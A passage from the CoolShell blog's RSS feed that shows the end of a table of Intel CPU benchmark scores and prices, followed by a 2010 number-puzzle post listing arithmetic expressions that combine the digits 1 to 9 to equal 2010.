href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111317\">249.99</a></td>\n<td>5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111007\">Intel Core2 Duo P9500 @ 2.53GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P9500+%40+2.53GHz\">1758</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111007\">369.99</a></td>\n<td>4.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117140\">Intel Xeon X5450 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5450+%40+3.00GHz\">4409</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117140\">939.99</a></td>\n<td>4.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117141\">Intel Xeon E5450 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5450+%40+3.00GHz\">4583</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117141\">986.99</a></td>\n<td>4.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117182\">Intel Xeon X5550 @ 2.67GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5550+%40+2.67GHz\">4424</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117182\">999.99</a></td>\n<td>4.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117138\">Intel Xeon X5460 @ 3.16GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5460+%40+3.16GHz\">5008</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117138\">1249.99</a></td>\n<td>4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117181\">Intel Xeon X5560 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5560+%40+2.80GHz\">4900</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117181\">1249.99</a></td>\n<td>3.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117179\">Intel Xeon W5580 @ 3.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W5580+%40+3.20GHz\">6293</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117179\">1679.99</a></td>\n<td>3.8</td>\n</tr>\n<tr id=\"yui-rec101\">\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117180\">Intel Xeon X5570 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5570+%40+2.93GHz\">5390</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117180\">1439.99</a></td>\n<td>3.7</td>\n</tr>\n</tbody>\n</table>\n<p></center><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20793.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/cpu_512x512-150x150.png\" alt=\"与程序员相关的CPU缓存知识\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20793.html\" class=\"wp_rp_title\">与程序员相关的CPU缓存知识</a></li><li ><a href=\"https://coolshell.cn/articles/10249.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/image6-150x150.png\" alt=\"7个示例科普CPU Cache\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10249.html\" class=\"wp_rp_title\">7个示例科普CPU Cache</a></li><li ><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" alt=\"一些非常不错的资料\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3192.html\" class=\"wp_rp_title\">一些非常不错的资料</a></li><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/1608.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/javascript-150x150.jpg\" alt=\"Javascript的两本书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1608.html\" class=\"wp_rp_title\">Javascript的两本书</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2039.html\">CPU的性价比</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2039.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>2010 = 1+2-(3-4-5)*6*7*8-9</title>\n\t\t<link>https://coolshell.cn/articles/2036.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2036.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 07 Jan 2010 00:22:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[123456789问题]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2036</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 这是一个数字游戏，使用123456789，并按照123456789的顺序，使用加减乘除以及括号，进行操作使其结果等于2010（原来的游戏是使其值为100，请看...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2036.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2036.html\">2010 = 1+2-(3-4-5)*6*7*8-9</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script> 这是一个数字游戏，使用123456789，并按照123456789的顺序，使用加减乘除以及括号，进行操作使其结果等于2010（原来的游戏是使其值为100，<a href=\"http://www.cut-the-knot.org/do_you_know/digits.shtml\" target=\"_blank\">请看这里</a>），那么会有多少种解法呢？下面是924种解法，其让我想起了“24点游戏”。</p>\n<p>这里，如果让你写一段程序来生成所有的可能，你知道怎么写这段程序吗？</p>\n<h4>使用单个数</h4>\n<p>2010 = 1+2-(3-4-5)*6*7*8-9<br />\n2010 = 1-(2+(3-4-5)*6*7)*8+9<br />\n2010 = 1+2+(3+4*(5+6*7+8))*9<br />\n2010 = 1+2*(3*4*(5+6)-7)*8+9<br />\n2010 = 1*2*3*(4*(5*6+7*8)-9)<br />\n2010 = 1+2+(3+4*(5-6+7*8))*9<br />\n2010 = (1-2-3+4*(5/6+7*8))*9<br />\n2010 = (1+2+3*4)*(5-6+(7+8)*9)<br />\n2010 = 1+2+((3*(4+5)+6)*7-8)*9<br />\n2010 = (1+2+3)*(4*(5*6+7*8)-9)<br />\n2010 = 1+2+3*(4*(5+6)*(7+8)+9)<br />\n2010 = (1*2/3)*((4+5)*6*7*8-9)<br />\n2010 = (1-2-3)*((4+5)/6-7*8*9)<br />\n2010 = (1*2+(3-4*(5/6-7))*8)*9<br />\n2010 = 1*(2+(3-4*(5/6-7))*8)*9<br />\n2010 = (1+2*(3+4))*(5-6+(7+8)*9)</p>\n<p><span id=\"more-2036\"></span></p>\n<h4>使用多位数</h4>\n<p>2010 = 12*34*5-6-7-8-9<br />\n2010 = 12*34*5+6*7-8*9<br />\n2010 = 1+2345*6/7+8-9<br />\n2010 = 12-3*(4+5-678)-9<br />\n2010 = 123*4*5-(6*7+8)*9<br />\n2010 = 1+2-3*(4*5*6-789)<br />\n2010 = 123*4*5+(6-7*8)*9<br />\n2010 = 12*34+(5+6+7)*89<br />\n2010 = 12*3*45+6*(7*8+9)<br />\n2010 = 12+3*(4-5+67+8)*9<br />\n2010 = (12-3)*4*56-7-8+9<br />\n2010 = 12-(3-4*56+7-8)*9<br />\n2010 = (1*2+34)*56-7-8+9<br />\n2010 = 1*(2+34)*56-7-8+9<br />\n2010 = 12*3*45-6*(7-8*9)<br />\n2010 = 1+2*(34*5*6-7)-8-9<br />\n2010 = 1+2-(3-45+6)*7*8-9<br />\n2010 = 1*2*3*(45*6+7*8+9)<br />\n2010 = (1+2)*3*4*56-7-8+9<br />\n2010 = 1*2*3*(45*6-7+8*9)<br />\n2010 = 12-(3/4-5)*6*78+9<br />\n2010 = 1+(2/3)*45*67+8-9<br />\n2010 = 1+23-4*(5/6-7*8)*9<br />\n2010 = (1-2/3+4*56+7-8)*9<br />\n2010 = 1+2-3*(4-5)*(678-9)<br />\n2010 = (1-2)*3*(4-5-678+9)<br />\n2010 = 1+2-3*((4-5)*678+9)<br />\n2010 = (1+2)*(3-4*5+678+9)<br />\n2010 = 1+(2+3)*(456-7*8)+9<br />\n2010 = (12+3-45)*67*(8-9)<br />\n2010 = 1-(23-(45-6)*7)*8+9<br />\n2010 = 12-3*(4+5-(67+8)*9)<br />\n2010 = 12-(3-45*(6+7-8))*9<br />\n2010 = 1*(23-4*56)*(7-8-9)<br />\n2010 = (1*23-4*56)*(7-8-9)<br />\n2010 = (1+23/4)*5*67*8/9<br />\n2010 = 12-3*(4+(5-6)*78)*9<br />\n2010 = (1-23-45)*(6*7-8*9)<br />\n2010 = 1*((2+34)*56-7-8+9)<br />\n2010 = 1*((2+34)*56-7-8)+9<br />\n2010 = 1*((2+34)*56-7)-8+9<br />\n2010 = 12+3*(4*(5-6)+78)*9<br />\n2010 = (1-2-34+5)*67*(8-9)<br />\n2010 = 1+(2+34)*56+7*(8-9)<br />\n2010 = 1+2+((34+5-6)*7-8)*9<br />\n2010 = 1-(2-3-4)*(56*7+8)+9<br />\n2010 = 1+2+(3+4*(56+7-8))*9<br />\n2010 = (1+2*34)*(5*6+7-8)+9<br />\n2010 = (12+3)*4+5*6*(7*8+9)<br />\n2010 = (1+2*34*5-6)*(7+8-9)<br />\n2010 = 1-(2+3-45)*(6*7+8)+9<br />\n2010 = 1-(2+(3-45+6)*7)*8+9<br />\n2010 = (1-2+(3+45)*6)*7-8+9<br />\n2010 = (1+2)*(3*4*56-7+8)-9<br />\n2010 = (1+2+3)*(45*6+7*8+9)<br />\n2010 = 1*2*((3*4-5+6)*78-9)<br />\n2010 = (1+2+3)*(45*6-7+8*9)<br />\n2010 = 1+2-3*(45-6*7*(8+9))<br />\n2010 = (12+3)*(4*5+6*7+8*9)<br />\n2010 = (12+3)*4-5*6*(7-8*9)<br />\n2010 = 1+2*(3*(4+5*67)-8)-9<br />\n2010 = 1+(2+3-45)*(6-7*8)+9<br />\n2010 = (12+3-45)*67/(8-9)<br />\n2010 = 12+3*(4/(5-6)+78)*9<br />\n2010 = 1-(2+3*45/6)*(7-89)<br />\n2010 = (1+2)*34*5*67/(8+9)<br />\n2010 = (1-2-34+5)*67/(8-9)<br />\n2010 = 1+(2+34)*56+7/(8-9)<br />\n2010 = 12+(3/4)*(5*6+7)*8*9<br />\n2010 = (1*2/3-4)*(5+6-78)*9<br />\n2010 = 1*(2/3-4)*(5+6-78)*9<br />\n2010 = 12-(3/4)*(5-6*7)*8*9<br />\n2010 = (1*2/3-4*56)*(7-8)*9<br />\n2010 = 1*(2/3-4*56)*(7-8)*9<br />\n2010 = (1+2)*((3-4)*5+678)-9<br />\n2010 = (1+(2-3)*4)*(5-678)-9<br />\n2010 = (1+2)*(3-4)*(5-678)-9<br />\n2010 = (12+3)*(45-(6-7)*89)<br />\n2010 = 12+3*((4+5)*(67+8)-9)<br />\n2010 = 1-((2+34)*56-7)*(8-9)<br />\n2010 = (1-2+3*45)*(6-(7-8)*9)<br />\n2010 = 12-(3-(4+5+6)*(7+8))*9<br />\n2010 = (12+3)*(4+5+6+7*(8+9))<br />\n2010 = (1+2)*(3+4*(5+6)+7*89)<br />\n2010 = 1+2-(3/(4-5))*(678-9)<br />\n2010 = ((1+2)/3-4)*(5-678)-9<br />\n2010 = 1-(23+(4+5)/6)*(7-89)<br />\n2010 = 1-((2+34)*56-7)/(8-9)<br />\n2010 = (1+2+3/4)*(5+(67-8)*9)<br />\n2010 = 12*(3-4*(5-(6-7/8)*9))<br />\n2010 = 1-(2+(3/4)*5*6)*(7-89)<br />\n2010 = (1+2)*((3-4)*5+(67+8)*9)<br />\n2010 = (1+(2-3)*4)*(5-(67+8)*9)<br />\n2010 = (1+2)*(3-4)*(5-(67+8)*9)<br />\n2010 = (1-(23+4)*5)*(6*(7-8)-9)<br />\n2010 = (12+3)*((4+5)*(6+7)+8+9)<br />\n2010 = (12/3)*((4-5)/6+7*8)*9<br />\n2010 = ((1*2/3-4*56)/(7-8))*9<br />\n2010 = (1*(2/3-4*56)/(7-8))*9<br />\n2010 = ((1+2)/(3-4))*(5-678)-9<br />\n2010 = ((12+3)/4)*(5+(67-8)*9)<br />\n2010 = ((1+2)/3-4)*(5-(67+8)*9)<br />\n2010 = (1-(23+4)*5)*(6/(7-8)-9)<br />\n2010 = ((1+2)/(3-4))*(5-(67+8)*9)</p>\n<h4>使用小数</h4>\n<p>2010 = 1+2+.3*4*5*6*7*8-9<br />\n2010 = 1+2+3*.4*5*6*7*8-9<br />\n2010 = 1+2+3*4*.5*6*7*8-9<br />\n2010 = 1+2+3*4*5*.6*7*8-9<br />\n2010 = 1+2+3*4*5*6*.7*8-9<br />\n2010 = 1+2+3*4*5*6*7*.8-9<br />\n2010 = 1/.2+345*6-7*8-9<br />\n2010 = 1/.2+345*6+7-8*9<br />\n2010 = 1+2*3*4*56/.7+89<br />\n2010 = 12+(34.5*6+7+8)*9<br />\n2010 = 1+234.5*6/.7+8-9<br />\n2010 = (1234+567+8)/.9<br />\n2010 = 1+2345*.6/.7+8-9<br />\n2010 = 12-34*(.5-67+8)+9<br />\n2010 = 12-(3*4-5*6*7.8)*9<br />\n2010 = 12*(3*4-.5+67+89)<br />\n2010 = 1*(2345-67*8)/.9<br />\n2010 = (1*2345-67*8)/.9<br />\n2010 = 12+3*(.4*5-6+78)*9<br />\n2010 = 12+3*(4*.5-6+78)*9<br />\n2010 = 12-(3*4-.5*6*78)*9<br />\n2010 = 12-(3*4-5*.6*78)*9<br />\n2010 = 1-(2-.3*4*5*6*7)*8+9<br />\n2010 = 1-(2-3*.4*5*6*7)*8+9<br />\n2010 = 1-(2-3*4*.5*6*7)*8+9<br />\n2010 = 1-(2-3*4*5*.6*7)*8+9<br />\n2010 = 1-(2-3*4*5*6*.7)*8+9<br />\n2010 = 1+2+3-4*(.5*6-7*8*9)<br />\n2010 = 1+2+3-4*(5*.6-7*8*9)<br />\n2010 = 1*2*3-4*(.5*6-7*8*9)<br />\n2010 = 1*2*3-4*(5*.6-7*8*9)<br />\n2010 = 12*(34*5-.6+7-8.9)<br />\n2010 = .1+23*(45+6*7)+8.9<br />\n2010 = .1+23*(4*5+67)+8.9<br />\n2010 = .1+2345*6/7+.8-.9<br />\n2010 = 12+3*(45/.6+7-8)*9<br />\n2010 = .1+2-3*(4+5-678)+.9<br />\n2010 = 1+2-(3-.4*567+.8)*9<br />\n2010 = 1+2-(3-4*56.7+.8)*9<br />\n2010 = (12/.3-4)*56-7-8+9<br />\n2010 = 1.2+(3+45)*6*7-.8*9<br />\n2010 = 1.2+(3+45)*6*7-8*.9<br />\n2010 = 12*34*5+6/(7-.8*9)<br />\n2010 = 12*34*5+6/(7-8*.9)<br />\n2010 = 12*(34*5-.6+7-8-.9)<br />\n2010 = (1.2+34+5)*(67-8-9)<br />\n2010 = 1+2+3*(4+56/.7)*8-9<br />\n2010 = 12+3*(.4-5+.6+78)*9<br />\n2010 = .1+23*(45+6*7)+8+.9<br />\n2010 = .1+23*(4*5+67)+8+.9<br />\n2010 = 12+3*45*(.6+7+.8*9)<br />\n2010 = 1-(23-4.5+6)*(7-89)<br />\n2010 = 1*2*3*(4/.5+6*7*8-9)<br />\n2010 = 12-(3-4.5*(6*7+8))*9<br />\n2010 = (1+2)*(3-.4*5+678-9)<br />\n2010 = (1+2)*(3-4*.5+678-9)<br />\n2010 = 12*(3.4*56*7/8+.9)<br />\n2010 = 12*(34+(.5-6+7)*89)<br />\n2010 = 1+.2+(3+45)*6*7-.8*9<br />\n2010 = 1+.2+(3+45)*6*7-8*.9<br />\n2010 = 12-(3+4.5*(6-7*8))*9<br />\n2010 = 12+((34+.5)*6+7+8)*9<br />\n2010 = 1+(234+.5)*6/.7+8-9<br />\n2010 = (1+.2+34+5)*(67-8-9)<br />\n2010 = 12+(.3-4)*(5-67*8-9)<br />\n2010 = 12*3*(45+6*7/8)/.9<br />\n2010 = 12-(34+5*(.6-7)*8)*9<br />\n2010 = 12+(34*(.5+6)-7+8)*9<br />\n2010 = 1+(2/.3)*4.5*67+8-9<br />\n2010 = 1+(2/.3)*45*6.7+8-9<br />\n2010 = 1-(23-4-.5+6)*(7-89)<br />\n2010 = 1-(2-3-4)*(56*7+.8+9)<br />\n2010 = 1*2*(34-.5)*(6+7+8+9)<br />\n2010 = (1+23-4)*5*(6+7+8-.9)<br />\n2010 = (1+2*34)*(.5*6*7+8)+9<br />\n2010 = (1+2*34)*(5*.6*7+8)+9<br />\n2010 = (1+2*34)*(5*6*.7+8)+9<br />\n2010 = 12*(3+4)+5*(6*7+.8)*9<br />\n2010 = 12-3*(4-5*(.6+7+8))*9<br />\n2010 = (1-2*34)*.5*6*(7-8-9)<br />\n2010 = (1+2)*34+5*(6-.7)*8*9<br />\n2010 = 12+3*4*(5*(6-.7)-8)*9<br />\n2010 = 12-(.3/.4-5)*6*78+9<br />\n2010 = 12-(3*4-5*6*(7+.8))*9<br />\n2010 = 1*2*(3*4*(.5+6+78)-9)<br />\n2010 = 1-(2-34)*(.5+6+7*8)+9<br />\n2010 = 1-(2+34+5-6)*7*(.8-9)<br />\n2010 = 1-(234+5+6)*(.7-8.9)<br />\n2010 = (1+2+3+4*56)*(.7+8)+9<br />\n2010 = (1*2*3+4*56)*(.7+8)+9<br />\n2010 = 1*(2*3+4*56)*(.7+8)+9<br />\n2010 = (1+(234+5-6-7)*8)/.9<br />\n2010 = (1*2+3)*4*5*(6+7+8-.9)<br />\n2010 = 1.2*(34-.5)*(67-8-9)<br />\n2010 = 1*(2+3)*4*5*(6+7+8-.9)<br />\n2010 = 1-(2+3)*4*(.5-6-7)*8+9<br />\n2010 = (123/.4+5)*6+(7+8)*9<br />\n2010 = (12/3)*(4.5-6+7*8*9)<br />\n2010 = 1*2*(3*(.4*5+6*7*8)-9)<br />\n2010 = 1*2*(3*(4*.5+6*7*8)-9)<br />\n2010 = 1*(2*3-4*(.5*6-7*8*9))<br />\n2010 = 1*(2*3-4*(5*.6-7*8*9))<br />\n2010 = (1+2)*(3-4/.5+678)-9<br />\n2010 = (1-2+3+4)*(.5+6*7*8)-9<br />\n2010 = 1*2*3*(4+(.5+6*7)*8-9)<br />\n2010 = 1/.2+34-5*6*(.7-8)*9<br />\n2010 = ((123+4*5)/.6-7-8)*9<br />\n2010 = 12*(34*5-.6*7+.8+.9)<br />\n2010 = 12*(34*5-6*.7+.8+.9)<br />\n2010 = (1*2/3+4-.5)*67*.8*9<br />\n2010 = 1-(2*3*4+5+6)*7*(.8-9)<br />\n2010 = .1*(2/3+4-.5)*67*8*9<br />\n2010 = 1*(2/3+4-.5)*67*.8*9<br />\n2010 = 1+23-4*(.5/.6-7*8)*9<br />\n2010 = 1+(2-3-4+5*6*7)*(.8+9)<br />\n2010 = 1-2*(3+4*5*(.6-7))*8+9<br />\n2010 = 1+(2-3-4-5*6)*7*(.8-9)<br />\n2010 = (1-.2/.3+4*56+7-8)*9<br />\n2010 = (1+23)*(4+5+67/.8-9)<br />\n2010 = 1-(234+5+6)*(.7-8-.9)<br />\n2010 = 12+((3*4/.5)*6+78)*9<br />\n2010 = 12-3*(.4-5.6*7*(8+9))<br />\n2010 = (1+2.3/.4)*5*67*8/9<br />\n2010 = (1+23/4)*5*6.7*8/.9<br />\n2010 = 12*(3*(4+5-.6)*7-8.9)<br />\n2010 = (1*2-34*(.5-67)*8)/9<br />\n2010 = 1*(2-34*(.5-67)*8)/9<br />\n2010 = (1+2)*(3*45+6*78)/.9<br />\n2010 = 1+(2/.3)*4*(5+67)+89<br />\n2010 = (1/.2)*(3-4*56+7*89)<br />\n2010 = (1-23-4/.5)*67*(8-9)<br />\n2010 = .1+234.5*6/.7+.8-.9<br />\n2010 = (1-2+34/.5)*(6+7+8+9)<br />\n2010 = 1*2*3*(.4-.5+6*7*8-.9)<br />\n2010 = ((12/3)*456-7-8)/.9<br />\n2010 = (1+(234-56/7)*8)/.9<br />\n2010 = (12/3)*(4+.5-6+7*8*9)<br />\n2010 = 12-(3-45*(6*.7+.8))*9<br />\n2010 = (1+23)/.4+5*6*(7*8+9)<br />\n2010 = 1+(2/.3+4*5)*(67+8)+9<br />\n2010 = 1-(2-3*(4+56/.7))*8+9<br />\n2010 = (.1-2*3.4)*5*6*(7-8-9)<br />\n2010 = 1+((2+3)*4/.56)*7*8+9<br />\n2010 = 12*((34-5)*6-.7*8-.9)<br />\n2010 = 12*((34-5)*6-7*.8-.9)<br />\n2010 = 12*((34-5)*6+.7-.8*9)<br />\n2010 = 12*((34-5)*6+.7-8*.9)<br />\n2010 = (12-3+4*5*6*(7+8))/.9<br />\n2010 = 12-3*(.4-56*.7*(8+9))<br />\n2010 = 12*(.3+4*(56-7-.8*9))<br />\n2010 = 12*(.3+4*(56-7-8*.9))<br />\n2010 = (1+23/4)*.5*67*8/.9<br />\n2010 = (1+23/4)*5*67*.8/.9<br />\n2010 = (12-3)*4*(.5/6+7*8)-9<br />\n2010 = 1*(23+4)*(5+6+7*8)/.9<br />\n2010 = (1*23+4)*(5+6+7*8)/.9<br />\n2010 = (1*2+34)*(.5/6+7*8)-9<br />\n2010 = 1*(2+34)*(.5/6+7*8)-9<br />\n2010 = 1+(2/.34+5+6)*7*(8+9)<br />\n2010 = (1-(2+3-4*56-7)*8)/.9<br />\n2010 = 1+2+(3*4/.5)*(6+78)-9<br />\n2010 = 1+(2+34*(5+6*7))/.8+9<br />\n2010 = 12-(3+45*(.6-.7*8))*9<br />\n2010 = 12-(3+45*(.6-7*.8))*9<br />\n2010 = (1+23)/.4-5*6*(7-8*9)<br />\n2010 = (12/3.4)*5*6.7*(8+9)<br />\n2010 = 1-(2-3/.4+5*6)*(7-89)<br />\n2010 = 1-2*3*(4+.5/6)*(7-89)<br />\n2010 = .1+2345*.6/.7+.8-.9<br />\n2010 = 1*2*3*((4/.5)*6*7+8-9)<br />\n2010 = 1+2*((3*4/.5)*6*7-8)+9<br />\n2010 = ((1+2*3*4)*5/.6+7+8)*9<br />\n2010 = 12*(3*(4+5-.6)*7-8-.9)<br />\n2010 = (1+2-(3-4*5/.6)*7+8)*9<br />\n2010 = (1-2+3-4*(.5/6-7)*8)*9<br />\n2010 = (1+2+3)*(4/.5+6*7*8-9)<br />\n2010 = (1-2+3-45*6)*(.7+.8-9)<br />\n2010 = (1/.2)*3*4+5*6*(7*8+9)<br />\n2010 = 1+2-(3-4*(56+.7)+.8)*9<br />\n2010 = (1/2)*3*4*(.5+6*7*8)-9<br />\n2010 = (12+3)*.4*(.5+6*7*8)-9<br />\n2010 = (.1-.2*34)*5*6*(7-8-9)<br />\n2010 = 12+3*(.4+(5+6*.7)*8)*9<br />\n2010 = (1-2)*3-4*(.5/6-7*8)*9<br />\n2010 = (1+(2+3)*4-.5/6+7)*8*9<br />\n2010 = 1+(2+3)*(4/.5+6*7)*8+9<br />\n2010 = 1-(23+.4*5*6)*7*(.8-9)<br />\n2010 = 1-(23+4*.5*6)*7*(.8-9)<br />\n2010 = 1-(23+4*5*.6)*7*(.8-9)<br />\n2010 = (1+2)*3*4*(.5/6+7*8)-9<br />\n2010 = (1-2/3+4-5*6*(.7-8))*9<br />\n2010 = (1*2-3+4*(.5/6+7*8))*9<br />\n2010 = 1*(2-3+4*(.5/6+7*8))*9<br />\n2010 = 1+2-(.3-4)*(.5+67)*8+9<br />\n2010 = .1+(2/3)*45*67+.8-.9<br />\n2010 = (1/.2)*3*(4*5+6*7+8*9)<br />\n2010 = (1/.2)*3*4-5*6*(7-8*9)<br />\n2010 = 1+(2-34-.5*6)*7*(.8-9)<br />\n2010 = 1+(2-34-5*.6)*7*(.8-9)<br />\n2010 = (12/3.4)*.5*67*(8+9)<br />\n2010 = (1-.2+34)*(56.7+.8)+9<br />\n2010 = (.1+.2-3-4)*5*6*(7-8-9)<br />\n2010 = 1-2/.3-4*(.5/6-7*8*9)<br />\n2010 = (1/2-34)*(5-67+8)/.9<br />\n2010 = ((123+.4*5)/.6+7+8)*9<br />\n2010 = ((123+4*.5)/.6+7+8)*9<br />\n2010 = 1-2*(3*4-.5+6)*7*(.8-9)<br />\n2010 = 12*(3-(4-.5)*(6*7-89))<br />\n2010 = (12-3-4)*(5*(.6+78)+9)<br />\n2010 = (1+2/.3-4+.5)*67*.8*9<br />\n2010 = ((1-2)/3+4.5)*67*.8*9<br />\n2010 = 1-(23.4+.5+.6)*(7-89)<br />\n2010 = (.1-2/3+4*56+.7-.8)*9<br />\n2010 = 1-(2+3*4.5/.6)*(7-89)<br />\n2010 = (1*2/(.3+4.5))*67*8*9<br />\n2010 = (12+34+5)*67/(.8+.9)<br />\n2010 = (.12/.34)*5*67*(8+9)<br />\n2010 = (12/.34)*5*.67*(8+9)<br />\n2010 = (1-23-4/.5)*67/(8-9)<br />\n2010 = 12+((34*5+.6+7)/.8)*9<br />\n2010 = .1+.2-(3-4*(567-8))*.9<br />\n2010 = 12-(3-(4+.5)*(6*7+8))*9<br />\n2010 = (1-2)*(34-.5)*6*(7-8-9)<br />\n2010 = ((1-2)*34+.5)*6*(7-8-9)<br />\n2010 = (1+(2+3/4.5)*678)/.9<br />\n2010 = 12*((3+.4)*56*7/8+.9)<br />\n2010 = 1.2-(3-(4-.5-.6)*78)*9<br />\n2010 = 1+(23+(4*5+6)*7)*(.8+9)<br />\n2010 = (12+3)*4*((.5-6)*7+8*9)<br />\n2010 = 1*23*((.4+5)/.6+78)+9<br />\n2010 = (1-(2/3)/4)*.5*67*8*9<br />\n2010 = (1-(2/3)/4)*5*67*.8*9<br />\n2010 = (.1+2.3/4)*5*67*8/.9<br />\n2010 = 1-(2/.3)*(4.5-6*7)*8+9<br />\n2010 = 1+(2-3-4)*(56-7)*(.8-9)<br />\n2010 = 12*((3+.4/56)*7*8-.9)<br />\n2010 = 1+(23-(4-5*6)*7)*(.8+9)<br />\n2010 = ((1*2/.3+4*5)*67/8)*9<br />\n2010 = 12-(3+(4+.5)*(6-7*8))*9<br />\n2010 = (1*(2/.3+4*5)*67/8)*9<br />\n2010 = (1/(.2+3-4/5))*67*8*9<br />\n2010 = 1-(2+.3*45/.6)*(7-89)<br />\n2010 = 1+(2/.3)*(4+5*6.7)*8+9<br />\n2010 = 1*((2*3+4*56)*(.7+8)+9)<br />\n2010 = (1/.2+.34)*5*67/.89<br />\n2010 = 1-(2/.3)*45*(.6-7)+89<br />\n2010 = (1+2+3+45)*67/(.8+.9)<br />\n2010 = (1*2*3+45)*67/(.8+.9)<br />\n2010 = (12+3)*4*5*(6-.7*(8-9))<br />\n2010 = 1*(2*3+45)*67/(.8+.9)<br />\n2010 = 12/.3+4*(.5-6*(7-89))<br />\n2010 = (1-.2+34)*(56+.7+.8)+9<br 